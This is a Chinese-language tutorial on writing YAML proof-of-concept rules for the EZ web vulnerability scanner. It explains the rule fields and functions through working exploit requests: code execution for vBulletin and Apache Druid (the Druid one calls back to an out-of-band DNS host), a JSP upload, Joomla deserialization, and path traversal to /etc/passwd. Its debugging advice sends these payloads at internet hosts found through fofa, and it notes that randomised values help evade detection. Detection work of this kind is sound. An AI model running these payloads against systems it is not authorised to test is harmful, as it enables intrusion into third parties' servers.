Skip to main content

EZ POC编写指南

1.前言

EZ的指纹和POC编写评价体系主要依赖于两个指标:精确率(precision)和召回率(accuracy)。

精确率是针对我们预测结果而言的,它表示的是预测为正的样本中有多少是真正的正样本。 召回率是针对我们原来的样本而言的,它表示的是样本中的正例有多少被预测正确了。

通俗来讲,精确率就是匹配出来的结果准不准确?有多少误报,误报越高,精确率就越低。而召回率是评价有多少本应该匹配出来的结果被漏掉了,召回率越高,漏掉的越少,漏报率越低。所以,理想情况下,我们编写的最佳POC精确率和召回率都应当是100% . 当然,这样的理想情况不太可能达到,但是我们需要想办法让它无限趋近于100% .

2.POC开发

POC,Proof of Concept。是指用于证明漏洞存在所进行的检测。POC规则一般是通过发送一个或多个具有先后顺序的HTTP请求,根据网站页面返回情况的不同来判断网站存在漏洞与否。特殊地,对于无回显的漏洞,一般通过盲打的检测方法,需要依赖DNS log、Curl log等。

EZ的POC开发基于YMAL格式。

先来看一个简单的POC案例: vBulletin-rce-cve-2020-17496.yml

name: poc-yaml-vBulletin-rce-cve-2020-17496
level: 3
finger: |
"vbulletin" in finger.name
set:
r1: randomInt(8000, 10000)
r2: randomInt(8000, 10000)
rules:
- method: POST
path: /ajax/render/widget_tabbedcontainer_tab_panel
body: subWidgets[0][template]=widget_php&subWidgets[0][config][code]= echo {{r1}}*{{r2}}; exit;
expression: |
response.status == 200 && response.body.bcontains(bytes(string(r1*r2)))
detail:
author: ez
links:
- https://www.jianshu.com/p/9b8d9a505ace

POC名称的命名通常的形式为:组件名称-漏洞类型-cve(cnvd)-2021-xxxx.yml 对于有cve或cnvd编号的漏洞,建议在命名时写清编号。组件名称 如:Discuz、Tomcat、vBulletin等。漏洞类型通常是:rce、sqli、xss、ssrf、fileread等。 POC的YMAL文件分为几个部分: name、level、finger、set、rules、detail

  • 其中,name与文件名基本一致,在前面添加poc-yaml-即可。需要注意的是,name直接影响了 ez webscan --pocs [name] 语法的检索,故命名时需要谨慎。

  • level表示该POC的严重程度:

level风险等级
0低危(指纹提示、轻微的信息泄露、登录页面等,通常不开发该风险等级的指纹)
1中危(可间接获取权限或信息的漏洞,如SQL注入、管理员密码或密码hash泄露、后台默认口令、ssrf等)
2高危(有一定条件的getshell,例如:需要暴力破解key、需要等待管理员触发等)
3严重(可直接getshell或RCE的漏洞,如:Struts2-045、fastjson、shiro反序列化RCE等)
  • finger 表示该POC适用于的指纹,也就是当命中哪个或哪些指纹时发送该POC,若希望不通过任何指纹匹配强制发送该POC,则可将该字段移除(这样做会引起EZ发包量增加,不建议)。YMAL默认缩进格式为两个空格。

finger定义的指纹分为两类,1是精确匹配,2是模糊匹配。 精确匹配例如:

finger: |
"vbulletin" in finger.name

是会严格匹配指纹名称是否等于vbulletin,相等才会发送POC。 而模糊匹配:

finger: |
finger.name.lcontains("seeyon")

会将指纹中含有seeyon的关键词,含有及表示命中。

  • set字段是我们在发送请求前预设的一些变量,通常用于生成若干个随机数变量,如案例所示的:
set: 
r1: randomInt(8000, 10000)
r2: randomInt(8000, 10000)

定义了两个变量r1和r2,取值随机与8000到10000之间。随机变量在同一个POC请求中的值是固定的。使用随机数可以减小POC检测的固化因素影响,同时还可以在一定程度上对抗扫描检测系统。

  • rules,是整个POC的核心。 其中rules 可以是一个单一的请求,也可以是一系列复合请求。我们先来介绍单一请求的情况,在一个请求中包含: method、path、headers(非必须)、body(非必须)、expression 几个常用字段。 通常情况下 method 为 GET或POST。

path定义了该请求发送的URL路径。

在一些情况下需要登录或设置特殊的User-Agent、Content-Type等,这时我们需要通过header参数来设置。 如:

headers:
Cookie: ctr_t=0; sid=123456789
Content-Type: application/json

在对于POST方法下的POC编写时,我们往往还需要指定body,对于application/x-www-form-urlencoded 的情况,我们可以直接写:

body: arg1=1&arg2=name&arg3……;

而对于xml或其他格式的情况,我们需要按下面的方法来定制化body:

body: |-
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext
…………

expression 表示漏洞情况的匹配规则,可通过返回状态、返回内容等维度来综合判断。多个检测逻辑直接支持使用 && 和 || 来表示且和或的关系。 response.status 可匹配返回状态码,如: response.status == 200

response.body.bcontains() 支持以bytes格式匹配返回内容,判断返回内容中是否含有关键词aaa可使用: response.body.bcontains(b'aaa') 匹配二进制字节时可使用:

content_type.contains('application/octet-stream') && body.bcontains(b'\x00\x01\x02')

当使用随机数变量匹配结果时,可使用: response.body.bcontains(bytes(string(r1*r2))) 使用随机数需要注意的是:尽量不使用加法操作,因为加号也是URL编码中空格的编码表示。 使用乘法运算时尽量让两个随机数变量取值控制在10000以内,因为乘积过大可能会导致整型溢出,带来结果匹配不到,召回率下降。 当需要匹配返回包Content-Type时,可使用: response.content_type.contains("application/json")

希望匹配其他响应头部字段时,可参考:

response.headers["set-cookie"].contains("user=admin") 

此外,还可借助反连平台编写POC,例如: reverse.wait(5) 表示监测反连平台5秒内是否有收到数据。如果5秒内,反连平台收到符合要求的请求,则reverse.wait(5)返回true,漏洞存在;如果5秒内反连平台没有收到请求,则reverse.wait(5)返回false,漏洞不存在。

来看这样一个例子:

name: poc-yaml-apache-druid-cve-2021-25646
level: 3
finger: |
"apache-druid" in finger.name
set:
reverse: newReverse()
reverseURL: reverse.url
reverseDNS: reverse.dns
rules:
- method: POST
path: /druid/indexer/v1/sampler?for=filter
headers:
Content-Type: application/json;charset=utf-8
body: |
{"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-13-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript","function":"function(value){return java.lang.Runtime.getRuntime().exec('ping -c 2 {{reverseDNS}}')}","dimension":"added","":{"enabled":"true"}}}}},"samplerConfig":{"numRows":500,"cacheKey":"79a5be988bf94d42a6f219b63ff27383"}}

expression: reverse.wait(5)
detail:
author: dahe
links:
- https://www.cnblogs.com/shisana/p/14368708.html
tvul_id: 82588

POC 编写时,set 部分会根据 Key 排序,建议其它变量前缀和第一个变量名保持一致,如:

set:
reverse: newReverse()
reverseURL: reverse.url
reverseDNS: reverse.dns
url: newUrl()
urlPath: url.path

该POC通过 expression: reverse.wait(5) 来从反连平台查询扫描结果。等待5秒后,若反连平台收到相应的连接,则能够证明漏洞存在。反连平台除了本例支持的URL、DNS以外,还支持LDAP、RMI。

对于请求较为复杂(如文件上传),或请求中含有不可见字符时,建议采用hex编码的方式编写POC,例如:

name: poc-yaml-ecology-arbitrary-file-upload
level: 2
finger: |
finger.name.lcontains("ecology") || finger.name.lcontains("泛微")
set:
r1: randomLowercase(4)
r2: randomInt(40000, 44800)
r3: randomInt(40000, 44800)
s1: hexDecode("2d2d62306438323964616130366331336436623365313662306164323164316565640d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2266696c65223b2066696c656e616d653d227b7b72317d7d2e6a7370220d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6f637465742d73747265616d0d0a0d0a3c256f75742e7072696e7428")
s2: hexDecode("293b6e6577206a6176612e696f2e46696c65286170706c69636174696f6e2e6765745265616c5061746828726571756573742e676574536572766c657450617468282929292e64656c65746528293b253e0d0a2d2d62306438323964616130366331336436623365313662306164323164316565642d2d0d0a0d0a")
rules:
- method: POST
path: /page/exportImport/uploadOperation.jsp
headers:
Content-Type: multipart/form-data; boundary=b0d829daa06c13d6b3e16b0ad21d1eed
body: "{{s1}}{{r2}} * {{r3}}{{s2}}"



expression: response.status == 200
- method: GET
path: /page/exportImport/fileTransfer/{{r1}}.jsp
expression: response.status == 200 && response.body.bcontains(bytes(string(r2 * r3)))
detail:
author: jingling(https://github.com/shmilylty)
links:
- https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
tvul_id: 82666

可以将变量与上传包混合在一起,上传的内容使用hexDecode函数封装,这样避免POC中的0x0a、0x0d在Windows与Linux(MacOS)平台出现差异。

对于复合请求的POC编写,可在rules中添加多个分组,来看下面这个例子:

name: poc-yaml-joomla-cnvd-2019-34135-rce
level: 2
finger: |
"Joomla" in finger.name
set:
r1: randomLowercase(10)
r2: randomLowercase(10)
rules:
- method: GET
path: /
headers:
Content-Type: application/x-www-form-urlencoded
follow_redirects: true
expression: |
response.status == 200
search: <input\stype="hidden"\sname="(?P<token>\S{32})"
- method: POST
path: /
headers:
Content-Type: application/x-www-form-urlencoded
body: >-
username=%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0&{{token}}=1&password=AAA%22%3Bs%3A11%3A%22maonnalezzo%22%3AO%3A21%3A%22JDatabaseDriverMysqli%22%3A3%3A%7Bs%3A4%3A%22%5C0%5C0%5C0a%22%3BO%3A17%3A%22JSimplepieFactory%22%3A0%3A%7B%7Ds%3A21%3A%22%5C0%5C0%5C0disconnectHandlers%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A9%3A%22SimplePie%22%3A5%3A%7Bs%3A8%3A%22sanitize%22%3BO%3A20%3A%22JDatabaseDriverMysql%22%3A0%3A%7B%7Ds%3A5%3A%22cache%22%3Bb%3A1%3Bs%3A19%3A%22cache_name_function%22%3Bs%3A6%3A%22printf%22%3Bs%3A10%3A%22javascript%22%3Bi%3A9999%3Bs%3A8%3A%22feed_url%22%3Bs%3A43%3A%22http%3A%2F%2FRayTest.6666%2F%3B{{r1}}%25%25{{r2}}%22%3B%7Di%3A1%3Bs%3A4%3A%22init%22%3B%7D%7Ds%3A13%3A%22%5C0%5C0%5C0connection%22%3Bi%3A1%3B%7Ds%3A6%3A%22return%22%3Bs%3A102%3A&option=com_users&task=user.login
follow_redirects: true
expression: |
response.body.bcontains(bytes(r1 + "%" + r2))
detail:
author: X.Yang
Joomla_version: 3.0.0,3.4.6
links:
- https://www.exploit-db.com/exploits/47465

该POC,先发送了GET请求请求路径为根目录,然后若GET请求返回的响应状态码为200,则进入后续流程,再发送POST请求,匹配两个随机数取余后的结果。 在这个POC中比较特殊的一点是,第二个请求需要依赖第一个请求响应内容中的Token,可在第一个请求中使用search字段匹配出该Token, ?P<token>表示将匹配结果赋值于token变量。这样,在第二个请求中我们就可以直接使用{{token}}来引用第一个请求匹配出的Token结果了。

  • 最后一个detail字段主要记录了作者简介以及漏洞详情的URL等,该字段类似于注释,并不会影响漏洞检测效果,在填写漏洞链接是,需要遵循links参数规则,分多个条目依次填写即可。

下面我们来评价一下这个POC:

name: poc-yaml-jeewms-showordownbyurl-fileread
level: 2
finger: |
"Jeewms" in finger.name
rules:
- method: GET
path: /systemController/showOrDownByurl.do?down=&dbPath=../../../etc/passwd
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
detail:
author: B1anda0(https://github.com/B1anda0)
links:
- https://mp.weixin.qq.com/s/ylOuWc8elD2EtM-1LiJp9g

这个POC是关于jeewms 任意文件读取漏洞的检测。漏洞命名、等级划分和指纹都没有问题,但是注意path这里的 ../ 有点过少了,这样在一些目录较浅的场景是可以检测出漏洞的,而对于较深级别服务器物理路径,会导致遗漏,召回率不足。 修改完善后的path为:

path: /systemController/showOrDownByurl.do?down=&dbPath=../../../../../../../../../../../../etc/passwd

另外,这个POC仅考虑了Linux场景,以读取/etc/passwd为标志,忽略了Window场景,召回率大打折扣。我们补充上Windows的场景:

name: poc-yaml-jeewms-showordownbyurl-fileread
level: 2
finger: |
"Jeewms" in finger.name
groups:
linux:
- method: GET
path: /systemController/showOrDownByurl.do?down=&dbPath=../../../../../../../../../../../../etc/passwd
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
windows:
- method: GET
path: /systemController/showOrDownByurl.do?down=&dbPath=../../../../../../../../../../../../Windows/win.ini
expression: |
response.status == 200 && response.body.bcontains(b"for 16-bit app support")
detail:
author: B1anda0(https://github.com/B1anda0)
links:
- https://mp.weixin.qq.com/s/ylOuWc8elD2EtM-1LiJp9g

这样基本完成了。通常,对于Linux环境,我们建议以读取/etc/passwd为测试用例,而对于Windows环境,我们读取 Windows/win.ini 。匹配内容大家也可参考本用例中的展示。

下面我们再来看另外一个例子:

name: poc-yaml-jboss-unauth
level: 1
finger: |
"Jboss" in finger.name
rules:
- method: GET
path: /jmx-console/
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"jboss")
detail:
author: FiveAourThe(https://github.com/FiveAourThe)
links:
- https://xz.aliyun.com/t/6103

本POC演示的是JBoss 未授权访问漏洞的检测用例。 在该用例的expression中,仅判断了网站返回状态码是否为200,且页面是否包含jboss关键词。这样的检测逻辑有点宽泛,会带来很多误报情况,导致精确率下降。建议对匹配的关键词进行优化,优化后的方案如下:

name: poc-yaml-jboss-unauth
level: 1
finger: |
"Jboss" in finger.name
rules:
- method: GET
path: /jmx-console/
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"jboss.management.local") && response.body.bcontains(b"jboss.web")
detail:
author: FiveAourThe(https://github.com/FiveAourThe)
links:
- https://xz.aliyun.com/t/6103

EZ YAML POC支持的函数列表

contains 字符串包含

// 字符串A 是否包含 字符串B, 返回值 bool
A.contains(B)
例如
"Abc".contains("bc") --> true

bcontains 字节包含

// 字节A 是否包含 字节B,返回值 bool
A.bcontains(B)
例如
b"Abc".bcontains(b"bc")) --> true

matches 字符串正则匹配

// 正则表达式A(字符串类型) 是否可以匹配到 字符串B,返回值 bool
A.matches(B)
例如
"\d+\w{3}".matches("123Abc") -> true

versionCompare 版本号比较

// 字符串A版本号 比较 字符串B版本号,返回数字
// 1 代表 A版本 比 B版本 大
// 2 代表 A版本 比 B版本 小
// 3 代表 A版本 与 B版本 相等
A.versionCompare(B)
例如
"1.2.3".versionCompare("1.2.4") -> 2

bmatches 字节正则匹配

// 字符串类型的正则表达式A 匹配 字节类型的B
"A".bmatches(b"B")
例如
"\d+\w{3}".matches(b"123Abc") -> true

md5加密

// 将字符串A进行md5加密,返回字符串
md5(A) -> string

upperCase 字符串全大写

// 将字符串A的字母转变为全大写
upperCase("A") -> string
例如
upperCase("abc") -> ABC

randomInt 随机数字生成

// 随机生成一个生成从A到B范围的数字
randomInt(A, B) -> int
例如
randomInt(10, 20) -> 15

randomLowercase 随机字符串生成

// 随机生成一个A长度的字符串
randomLowercase(A) -> string
例如
randomLowercase(6) -> ezcool

base64 Base64编码 字符串/字节

// 将字符串A / 字节A 进行base64编码
base64("A") -> string
base64(b"A") -> string
例如
base64("admin") -> YWRtaW4=
base64(bytes("admin")) -> YWRtaW4=

base64Decode Base64解码 字符串/字节

// 将字符串A / 字节A 进行base64解码
base64Decode("A") -> string
base64Decode(b"A") -> string
例如
base64Decode("YWRtaW4=") -> admin
base64Decode(bytes("YWRtaW4=")) -> admin

hexDecode 十六进制字符串解码

// 将字符串A进行十六进制的解码
hexDecode("A") -> string
例如
hexDecode("61646d696e") -> admin

urlencode 字符串/字节的url编码

// 将字符串A / 字节A 进行URL编码
urlencode("A") -> string
urlencode(b"A") -> string
例如
urlencode(">>>") -> %3e%3e%3e
urlencode(b">>>") -> %3e%3e%3e

urldecode 字符串 / 字节的解码

// 将字符串A / 字节A 进行URL编码
urldecode("A") -> string
urldecode(b"A") -> string
例如
urldecode("%3e%3e%3e") -> >>>
urldecode(b"%3e%3e%3e") -> >>>

substr 字符串截取

// 将字符串A 从B位置开始取C长度的字符串
substr("A", B, C) -> string
例如
substr("abcd", 1, 2) -> bc

ts 获取当前时间戳

// 获取当前时间戳 等价于十进制 `time.Now().Unix()`
ts()

extraVersionNum 提取版本号

// 提取字符串A中的第B个版本号 (可能会匹配到多个,由B来确认匹配到的位置)
extraVersionNum(A,1) -> string
例如
extraVersionNum("(1.2.3.2.3),(4.5.6)", 2) -> 4.5.6

icontains 忽略大小写是否包含

// 字符串A 与 字符串B 进行忽略大小写包含判断
"A".icontains("B") -> bool
例如
"aBc".icontains("Ab") -> true

strlen 字符串长度

// 字符串A的长度
strlen("A") -> int
例如
strlen("abc") -> 3

bytelen 字节长度

// 字节A的长度
bytelen(b"A") -> int
例如
bytelen(b"abc") -> 3

replace 字符串替换

// 将 字符串A 中的 B字符串 替换为 C字符串
"A".replace("B", "C") -> string
例如
"abcool".replace("ab", "ez") -> ezcool

4.POC调试

POC编写好以后,还需要进行调试,调试的目的有二,一是为了确认我们的POC能够检测出漏洞,此时我们只需要寻找一个有漏洞的服务器有针对性地检测即可。二是为了确认我们的POC不会产生大量误报,这个就需要在调试状态下用大量的互联网HTTP样本来进行洗刷。下面我们来具体介绍一下关于POC调试方面的技巧。

  1. 借助于fofa平台,可以快速寻找某一款CMS在互联网上的分布情况。我们可以检索获取若干条记录。例如,我们编写的是某凯源软件的的POC,那么就可以使用fofa提取特征搜索相关产品的分布情况。
body="/lanruanoa/oa2.1login.js"

POC 编写好之后将编写好的 yaml 文件放在 ez 目录下的 pocs 文件夹里。

然后我们启动EZ,加载该POC

tip

加载自定义POC时,不需要路径与后缀名,使用poc.yaml文件内name: 参数名称即可自动加载。

./ez webscan --pocs lanruantest-oa-fileread

这里可以编写脚本,使用httpx配合搭建的靶机URL依次发出

httpx -threads 50  -title -random-agent -content-length -status-code -http-proxy http://127.0.0.1:2222 -no-fallback -l  lanruantest

同时,需要观察EZ扫描情况:

直到发现有相关漏洞的网站即可。

若所有请求发出后,都没有检测出该漏洞,原因可能有以下两点:

  1. 该漏洞POC编写存在一定问题,导致实际存在漏洞的站点无法检测出。此时我们通过EZ --proxy=http://127.0.0.1:8080功能将流量引入本机BurpSuite,观察EZ发送数据包及响应的情况来人工校验。
  2. 该漏洞较为小众,互联网上样本不多。此时,需要我们手动搭建漏洞靶场环境,在靶场环境中调试POC。

如果我们编写的POC能够准确无误地成功检测出漏洞,那么已经完成一大步了。剩下的一小步就是检验POC的精确率。我们可以在浏览网页的时候将HTTP代理设置为EZ的127.0.0.1:2222,然后让EZ加载该POC,观察大量互联网数据洗刷下的情况。如果大量数据测试下,该POC都表现出良好的低误报率,恭喜你,收获了一枚自己DIY开发的EZ专有POC。

关于EZ,如果你有任何使用和编写指纹及POC方面的问题,欢迎联系EZ团队。